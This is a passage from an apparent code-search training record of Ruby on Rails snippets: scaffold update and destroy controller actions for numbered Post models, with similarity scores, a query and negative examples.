Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "def put!\n request! :put\n end", "def update\n @post227 = Post227.find(params[:id])\n\n respond_to do |format|\n if @post227.update_attributes(params[:post227])\n format.html { redirect_to(@post227, :notice => 'Post227 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post227.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post445 = Post445.find(params[:id])\n\n respond_to do |format|\n if @post445.update_attributes(params[:post445])\n format.html { redirect_to(@post445, :notice => 'Post445 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post445.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post267 = Post267.find(params[:id])\n\n respond_to do |format|\n if @post267.update_attributes(params[:post267])\n format.html { redirect_to(@post267, :notice => 'Post267 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post267.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @post377 = Post377.find(params[:id])\n\n respond_to do |format|\n if @post377.update_attributes(params[:post377])\n format.html { redirect_to(@post377, :notice => 'Post377 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post377.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post85 = Post85.find(params[:id])\n\n respond_to do |format|\n if @post85.update_attributes(params[:post85])\n format.html { redirect_to(@post85, :notice => 'Post85 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post85.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post321 = Post321.find(params[:id])\n\n respond_to do |format|\n if @post321.update_attributes(params[:post321])\n format.html { redirect_to(@post321, :notice => 'Post321 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post321.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post168 = Post168.find(params[:id])\n\n respond_to do |format|\n if @post168.update_attributes(params[:post168])\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post483 = Post483.find(params[:id])\n\n respond_to do |format|\n if @post483.update_attributes(params[:post483])\n format.html { redirect_to(@post483, :notice => 'Post483 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post483.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post248 = Post248.find(params[:id])\n\n respond_to do |format|\n if @post248.update_attributes(params[:post248])\n format.html { redirect_to(@post248, :notice => 'Post248 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post248.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post74 = Post74.find(params[:id])\n\n respond_to do |format|\n if @post74.update_attributes(params[:post74])\n format.html { redirect_to(@post74, :notice => 'Post74 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post74.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post196 = Post196.find(params[:id])\n\n respond_to do |format|\n if @post196.update_attributes(params[:post196])\n format.html { redirect_to(@post196, :notice => 'Post196 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post196.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post284 = Post284.find(params[:id])\n\n respond_to do |format|\n if @post284.update_attributes(params[:post284])\n format.html { redirect_to(@post284, :notice => 'Post284 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post284.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post139 = Post139.find(params[:id])\n\n respond_to do |format|\n if @post139.update_attributes(params[:post139])\n format.html { redirect_to(@post139, :notice => 'Post139 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post139.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def update\n @post154 = Post154.find(params[:id])\n\n respond_to do |format|\n if @post154.update_attributes(params[:post154])\n format.html { redirect_to(@post154, :notice => 'Post154 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post154.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @onpost = Onpost.find(params[:id])\n\n respond_to do |format|\n if @onpost.update_attributes(params[:onpost])\n flash[:notice] = 'Onpost was successfully updated.'\n format.html { redirect_to(@onpost) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @onpost.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post272 = Post272.find(params[:id])\n\n respond_to do |format|\n if @post272.update_attributes(params[:post272])\n format.html { redirect_to(@post272, :notice => 'Post272 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post272.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post107 = Post107.find(params[:id])\n\n respond_to do |format|\n if @post107.update_attributes(params[:post107])\n format.html { redirect_to(@post107, :notice => 'Post107 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post107.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post257 = Post257.find(params[:id])\n\n respond_to do |format|\n if @post257.update_attributes(params[:post257])\n format.html { redirect_to(@post257, :notice => 'Post257 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post257.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post342 = Post342.find(params[:id])\n\n respond_to do |format|\n if @post342.update_attributes(params[:post342])\n format.html { redirect_to(@post342, :notice => 'Post342 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post342.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post184 = Post184.find(params[:id])\n\n respond_to do |format|\n if @post184.update_attributes(params[:post184])\n format.html { redirect_to(@post184, :notice => 'Post184 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post184.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post55 = Post55.find(params[:id])\n\n respond_to do |format|\n if @post55.update_attributes(params[:post55])\n format.html { redirect_to(@post55, :notice => 'Post55 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post55.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post262 = Post262.find(params[:id])\n\n respond_to do |format|\n if @post262.update_attributes(params[:post262])\n format.html { redirect_to(@post262, :notice => 'Post262 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post262.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post405 = Post405.find(params[:id])\n\n respond_to do |format|\n if @post405.update_attributes(params[:post405])\n format.html { redirect_to(@post405, :notice => 'Post405 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post405.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post228 = Post228.find(params[:id])\n\n respond_to do |format|\n if @post228.update_attributes(params[:post228])\n format.html { redirect_to(@post228, :notice => 'Post228 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post228.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post350 = Post350.find(params[:id])\n\n respond_to do |format|\n if @post350.update_attributes(params[:post350])\n format.html { redirect_to(@post350, :notice => 'Post350 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post350.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post278 = Post278.find(params[:id])\n\n respond_to do |format|\n if @post278.update_attributes(params[:post278])\n format.html { redirect_to(@post278, :notice => 'Post278 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post278.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post77 = Post77.find(params[:id])\n\n respond_to do |format|\n if @post77.update_attributes(params[:post77])\n format.html { redirect_to(@post77, :notice => 'Post77 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post77.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post221 = Post221.find(params[:id])\n\n respond_to do |format|\n if @post221.update_attributes(params[:post221])\n format.html { redirect_to(@post221, :notice => 'Post221 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post221.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post436 = Post436.find(params[:id])\n\n respond_to do |format|\n if @post436.update_attributes(params[:post436])\n format.html { redirect_to(@post436, :notice => 'Post436 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post436.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post349 = Post349.find(params[:id])\n\n respond_to do |format|\n if @post349.update_attributes(params[:post349])\n format.html { redirect_to(@post349, :notice => 'Post349 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post349.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post276 = Post276.find(params[:id])\n\n respond_to do |format|\n if @post276.update_attributes(params[:post276])\n format.html { redirect_to(@post276, :notice => 'Post276 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post276.errors, :status => :unprocessable_entity }\n end\n end\n end", "def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end", "def update\n @post133 = Post133.find(params[:id])\n\n respond_to do |format|\n if @post133.update_attributes(params[:post133])\n format.html { redirect_to(@post133, :notice => 'Post133 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post133.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def solveticket(assigneeid, ticketidxml)\n\n raise ArgumentError.new(\"no assignee is present\") if assigneeid.empty?\n raise ArgumentError.new(\"ticketid is present text provided\") if ticketidxml.empty?\n\n xml = createsolvedticketxml(assigneeid)\n\n begin\n resource = RestClient::Resource.new @hostname, @username, @password\n url = 'tickets/'+ ticketidxml\n httpresponse = resource[url].put xml.to_s, :content_type => 'application/xml', :accept => '*/*'\n processresponse(httpresponse) # call success handler\n rescue => e\n processerror(e) # call error handler\n end\n\n end", "def update\n @post297 = Post297.find(params[:id])\n\n respond_to do |format|\n if @post297.update_attributes(params[:post297])\n format.html { redirect_to(@post297, :notice => 'Post297 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post297.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post176 = Post176.find(params[:id])\n\n respond_to do |format|\n if @post176.update_attributes(params[:post176])\n format.html { redirect_to(@post176, :notice => 'Post176 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post176.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @post288 = Post288.find(params[:id])\n\n respond_to do |format|\n if @post288.update_attributes(params[:post288])\n format.html { redirect_to(@post288, :notice => 'Post288 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post288.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post425 = Post425.find(params[:id])\n\n respond_to do |format|\n if @post425.update_attributes(params[:post425])\n format.html { redirect_to(@post425, :notice => 'Post425 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post425.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post149 = Post149.find(params[:id])\n\n respond_to do |format|\n if @post149.update_attributes(params[:post149])\n format.html { redirect_to(@post149, :notice => 'Post149 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post149.errors, :status => :unprocessable_entity }\n end\n end\n end", "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "def post_update!(options = {})\n rsp = post(prepare_update_xml(options))\n success?(rsp.body) or log_error(rsp.body)\n end", "def update\n @post81 = Post81.find(params[:id])\n\n respond_to do |format|\n if @post81.update_attributes(params[:post81])\n format.html { redirect_to(@post81, :notice => 'Post81 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post81.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post453 = Post453.find(params[:id])\n\n respond_to do |format|\n if @post453.update_attributes(params[:post453])\n format.html { redirect_to(@post453, :notice => 'Post453 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post453.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n expire_action( news_url(:slug=>@post.slug) )\n expire_action( news_url(nil) )\n expire_action( home_url() )\n\n # Add/Remove attachments\n params[:attachments].each do |att|\n @post.attachments.create :uploadedfile=>att\n end if params.has_key?( :attachments )\n params[:removed_attachments].each do |att_id|\n begin # Let's be safe about it...\n @post.attachments.find(att_id).destroy\n rescue\n STDERR.puts \"#{att_id} isn't a valid ID for this post.\"\n end\n end if params.has_key?( :removed_attachments )\n\n flash[:notice] = 'Post was successfully updated.'\n format.html { redirect_to posts_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end", "def put(*args)\n request(:put, *args)\n end", "def update\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to(@post, :notice => 'Post was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post260 = Post260.find(params[:id])\n\n respond_to do |format|\n if @post260.update_attributes(params[:post260])\n format.html { redirect_to(@post260, :notice => 'Post260 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post260.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post134 = Post134.find(params[:id])\n\n respond_to do |format|\n if @post134.update_attributes(params[:post134])\n format.html { redirect_to(@post134, :notice => 'Post134 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post134.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post66 = Post66.find(params[:id])\n\n respond_to do |format|\n if @post66.update_attributes(params[:post66])\n format.html { redirect_to(@post66, :notice => 'Post66 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post66.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post409 = Post409.find(params[:id])\n\n respond_to do |format|\n if @post409.update_attributes(params[:post409])\n format.html { redirect_to(@post409, :notice => 'Post409 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post409.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post287 = Post287.find(params[:id])\n\n respond_to do |format|\n if @post287.update_attributes(params[:post287])\n format.html { redirect_to(@post287, :notice => 'Post287 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post287.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post446 = Post446.find(params[:id])\n\n respond_to do |format|\n if @post446.update_attributes(params[:post446])\n format.html { redirect_to(@post446, :notice => 'Post446 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post446.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @post217 = Post217.find(params[:id])\n\n respond_to do |format|\n if @post217.update_attributes(params[:post217])\n format.html { redirect_to(@post217, :notice => 'Post217 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post217.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.67700464", "0.65570354", "0.6190327", "0.6136941", "0.5965138", "0.58659875", "0.58550537", "0.58450973", "0.5836433", "0.57615495", "0.57425874", "0.5738284", "0.5732333", "0.57172805", "0.56996405", "0.5687494", "0.5683028", "0.56753576", "0.5673552", "0.5662", "0.5650837", "0.56501573", "0.564997", "0.5646441", "0.5643621", "0.56396556", "0.5638477", "0.5633828", "0.5621135", "0.5606717", "0.55997926", "0.55929863", "0.5592971", "0.55867773", "0.55848986", "0.5582285", "0.5566018", "0.55571324", "0.55541265", "0.5551459", "0.5539739", "0.5534466", "0.5527259", "0.55231345", "0.5509743", "0.55057484", "0.55046386", "0.548794", "0.5487168", "0.54850036", "0.54795444", "0.5472452", "0.5470062", "0.54643935", "0.5459992", "0.54573536", "0.5457032", "0.54537773", "0.54488695", "0.54480773", "0.54445136", "0.5443284", "0.54406863", "0.5436059", "0.54237074", "0.54126304", "0.53992045", "0.5394476", "0.5390254", "0.53800696", "0.5379964", "0.53775406", "0.53730565", "0.5372379", "0.53691065", "0.5366233", "0.5366175", "0.53649473", "0.5363645", "0.53634626", "0.5362383", "0.5361187", "0.5361152", "0.53610235", "0.53596246", "0.535757", "0.5356239", "0.5355846", "0.5355265", "0.5347119", "0.53455305", "0.53434336", "0.5342067", "0.5341746", "0.53357387", "0.5334863", "0.53322244", "0.5331977", "0.5329603", "0.5322801" ]
0.61452556
3
DELETE /post245s/1 DELETE /post245s/1.xml
def destroy @post245 = Post245.find(params[:id]) @post245.destroy respond_to do |format| format.html { redirect_to(post245s_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @post445 = Post445.find(params[:id])\n @post445.destroy\n\n respond_to do |format|\n format.html { redirect_to(post445s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post154 = Post154.find(params[:id])\n @post154.destroy\n\n respond_to do |format|\n format.html { redirect_to(post154s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post246 = Post246.find(params[:id])\n @post246.destroy\n\n respond_to do |format|\n format.html { redirect_to(post246s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @post156 = Post156.find(params[:id])\n @post156.destroy\n\n respond_to do |format|\n format.html { redirect_to(post156s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post157 = Post157.find(params[:id])\n @post157.destroy\n\n respond_to do |format|\n format.html { redirect_to(post157s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post446 = Post446.find(params[:id])\n @post446.destroy\n\n respond_to do |format|\n format.html { redirect_to(post446s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post150 = Post150.find(params[:id])\n @post150.destroy\n\n respond_to do |format|\n format.html { redirect_to(post150s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post55 = Post55.find(params[:id])\n @post55.destroy\n\n respond_to do |format|\n format.html { redirect_to(post55s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post57 = Post57.find(params[:id])\n @post57.destroy\n\n respond_to do |format|\n format.html { redirect_to(post57s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post251 = Post251.find(params[:id])\n @post251.destroy\n\n respond_to do |format|\n format.html { redirect_to(post251s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post75 = Post75.find(params[:id])\n @post75.destroy\n\n respond_to do |format|\n format.html { redirect_to(post75s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post182 = Post182.find(params[:id])\n @post182.destroy\n\n respond_to do |format|\n format.html { redirect_to(post182s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post125 = Post125.find(params[:id])\n @post125.destroy\n\n respond_to do |format|\n format.html { redirect_to(post125s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post184 = Post184.find(params[:id])\n @post184.destroy\n\n respond_to do |format|\n format.html { redirect_to(post184s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post193 = Post193.find(params[:id])\n @post193.destroy\n\n respond_to do |format|\n format.html { redirect_to(post193s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post328 = Post328.find(params[:id])\n @post328.destroy\n\n respond_to do |format|\n format.html { redirect_to(post328s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post275 = Post275.find(params[:id])\n @post275.destroy\n\n respond_to do |format|\n format.html { redirect_to(post275s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end", "def destroy\n @post149 = Post149.find(params[:id])\n @post149.destroy\n\n respond_to do |format|\n format.html { redirect_to(post149s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post74 = Post74.find(params[:id])\n @post74.destroy\n\n respond_to do |format|\n format.html { redirect_to(post74s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post181 = Post181.find(params[:id])\n @post181.destroy\n\n respond_to do |format|\n format.html { redirect_to(post181s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post447 = Post447.find(params[:id])\n @post447.destroy\n\n respond_to do |format|\n format.html { redirect_to(post447s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post470 = Post470.find(params[:id])\n @post470.destroy\n\n respond_to do |format|\n format.html { redirect_to(post470s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post139 = Post139.find(params[:id])\n @post139.destroy\n\n respond_to do |format|\n format.html { redirect_to(post139s_url) }\n format.xml { head :ok }\n end\n end", "def delete_post\n\t \n \tend", "def destroy\n @post78 = Post78.find(params[:id])\n @post78.destroy\n\n respond_to do |format|\n format.html { redirect_to(post78s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post134 = Post134.find(params[:id])\n @post134.destroy\n\n respond_to do |format|\n format.html { redirect_to(post134s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post253 = Post253.find(params[:id])\n @post253.destroy\n\n respond_to do |format|\n format.html { redirect_to(post253s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post453 = Post453.find(params[:id])\n @post453.destroy\n\n respond_to do |format|\n format.html { redirect_to(post453s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post174 = Post174.find(params[:id])\n @post174.destroy\n\n respond_to do |format|\n format.html { redirect_to(post174s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post66 = Post66.find(params[:id])\n @post66.destroy\n\n respond_to do |format|\n format.html { redirect_to(post66s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post168 = Post168.find(params[:id])\n @post168.destroy\n\n respond_to do |format|\n format.html { redirect_to(post168s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post349 = Post349.find(params[:id])\n @post349.destroy\n\n respond_to do |format|\n format.html { redirect_to(post349s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post350 = Post350.find(params[:id])\n @post350.destroy\n\n respond_to do |format|\n format.html { redirect_to(post350s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post483 = Post483.find(params[:id])\n @post483.destroy\n\n respond_to do |format|\n format.html { redirect_to(post483s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post464 = Post464.find(params[:id])\n @post464.destroy\n\n respond_to do |format|\n format.html { redirect_to(post464s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post54 = Post54.find(params[:id])\n @post54.destroy\n\n respond_to do |format|\n format.html { redirect_to(post54s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post105 = Post105.find(params[:id])\n @post105.destroy\n\n respond_to do |format|\n format.html { redirect_to(post105s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post321 = Post321.find(params[:id])\n @post321.destroy\n\n respond_to do |format|\n format.html { redirect_to(post321s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post227 = Post227.find(params[:id])\n @post227.destroy\n\n respond_to do |format|\n format.html { redirect_to(post227s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post405 = Post405.find(params[:id])\n @post405.destroy\n\n respond_to do |format|\n format.html { redirect_to(post405s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post196 = Post196.find(params[:id])\n @post196.destroy\n\n respond_to do |format|\n format.html { redirect_to(post196s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post58 = Post58.find(params[:id])\n @post58.destroy\n\n respond_to do |format|\n format.html { redirect_to(post58s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post335 = Post335.find(params[:id])\n @post335.destroy\n\n respond_to do |format|\n format.html { redirect_to(post335s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post472 = Post472.find(params[:id])\n @post472.destroy\n\n respond_to do |format|\n format.html { redirect_to(post472s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post194 = Post194.find(params[:id])\n @post194.destroy\n\n respond_to do |format|\n format.html { redirect_to(post194s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post436 = Post436.find(params[:id])\n @post436.destroy\n\n respond_to do |format|\n format.html { redirect_to(post436s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post197 = Post197.find(params[:id])\n @post197.destroy\n\n respond_to do |format|\n format.html { redirect_to(post197s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post407 = Post407.find(params[:id])\n @post407.destroy\n\n respond_to do |format|\n format.html { redirect_to(post407s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post109 = Post109.find(params[:id])\n @post109.destroy\n\n respond_to do |format|\n format.html { redirect_to(post109s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post129 = Post129.find(params[:id])\n @post129.destroy\n\n respond_to do |format|\n format.html { redirect_to(post129s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post65 = Post65.find(params[:id])\n @post65.destroy\n\n respond_to do |format|\n format.html { redirect_to(post65s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post41 = Post41.find(params[:id])\n @post41.destroy\n\n respond_to do |format|\n format.html { redirect_to(post41s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post409 = Post409.find(params[:id])\n @post409.destroy\n\n respond_to do |format|\n format.html { redirect_to(post409s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post459 = Post459.find(params[:id])\n @post459.destroy\n\n respond_to do |format|\n format.html { redirect_to(post459s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post413 = Post413.find(params[:id])\n @post413.destroy\n\n respond_to do |format|\n format.html { redirect_to(post413s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post358 = Post358.find(params[:id])\n @post358.destroy\n\n respond_to do |format|\n format.html { redirect_to(post358s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post267 = Post267.find(params[:id])\n @post267.destroy\n\n respond_to do |format|\n format.html { redirect_to(post267s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post120 = Post120.find(params[:id])\n @post120.destroy\n\n respond_to do |format|\n format.html { redirect_to(post120s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post342 = Post342.find(params[:id])\n @post342.destroy\n\n 